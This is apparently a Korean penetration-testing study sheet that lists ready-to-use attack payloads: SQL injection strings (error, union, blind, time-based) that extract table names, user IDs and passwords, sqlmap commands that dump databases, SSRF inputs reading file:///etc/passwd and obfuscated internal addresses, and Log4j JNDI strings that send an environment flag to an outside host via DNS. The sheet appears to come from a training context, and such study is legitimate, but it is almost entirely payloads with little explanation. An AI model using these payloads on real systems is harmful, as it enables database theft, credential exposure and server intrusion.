[소전] 모의해킹

[ Error Based SQL Injection]

1.  DB 이름

' and db_name() > 1 -- -

' and db_name() > '1' -- -

 

2.  Table 이름

' having 1=1 -- -

=> 테이블 이름 : members

=> 첫번째 컬럼 이름 : num

 

3.  컬럼 이름

' group by (num) -- -

=> 두번째 컬럼 이름 : user_id

' group by num,user_id -- -

=> 세번째 컬럼 이름 : passwd

 

4. 데이터 추출

' or 1 in (select user_id from members) -- -

' or 1 in (select user_id from members where user_id not in ('제외할 추출값')) --

 

' or 1 in (select 'a' + cast(count(*) as varchar(100)) from members) -- -

 

[UNION BASED SQL INJECTION]

1. 컬럼의 갯수

' UNION SELECT NULL,NULL,NULL -- -

1) SYSOBJECTS -> 테이블 이름 : name

2) SYSCOLUMNS -> 컬럼이름 : name

3) information_schema.tables -> 테이블이름 : table_name

4) information_schema.columns -> 테이블이름 : table_name, 컬럼이름 : column_name

 

2. 데이터 유출

' union select 1,2,3,4,table_name from information_schema.tables -- -

' union select 1,2,3,4,column_name from information_schema.columns where table_name='members' -- -

' union select 1,2,3,user_id,passwd from members -- -

 

[BLIND BASED SQL INJECTION]

TRUE : admin' and 1=1 -- -

FALSE : admin' and 1=2 -- -

 

select * from address where addr='창녕옵' and 1=1 -- - 반드시 참

 

substring(), ascii(), char()

substring('admin', 1,1) => 'a'

substring('admin'2,3) => 'dmi'

 

select * from address where addr='창녕옵' and 'a'=substring('admin',1,1) -- - True

select * from address where addr='창녕옵' and 'a'<substring((SELECT top 1 table_name from information_schema.tables),1,1) -- - 

 

2 AND CHAR(119)=SUBSTRING(database(), 1, 1) -> 참일때 값을 반환

 

[TIME BASED SQL INJECTION]

'; if 1=1 wait

[SQLMAP]

sqlmap -u "URL" --data "post_id=1&up_type=like" -p post_id --level =3 --dbs : Database의 정보를 확인

sqlmap -u "URL" --data "post_id=1&up_type=like" -p post_id -D "database_name" --tables : database의 table를 유출

sqlmap -u "URL" --data "post_id=1&up_type=like" -p post_id -D "database_name" -T "table_name" --columns : table의 columns를 조회

sqlmap -u "URL" --data "post_id=1&up_type=like" -p post_id -D "database_name" -T "table_name" -C "colum_name, column_name" --dump : colum_name에 적은 column들의 값을 조회함.

 

[HASHCAT]

hash-identifier : 무슨 hash값인지 확인하는 툴

hashcat : hash cract tools

 

[SSRF]

http://localhost/

http://127.0.0.1/

file:///etc/passwd

 

http://0xa.0.0.100

http://10.100

http://0xa.0x00.0x00.0x1

http://0xa000064

http://167772260

 

[url:file:///flag]

[Log4j]

${jndi:dns://google.com/flag=${env:FLAG}}

${jndi:${env:FLAG}}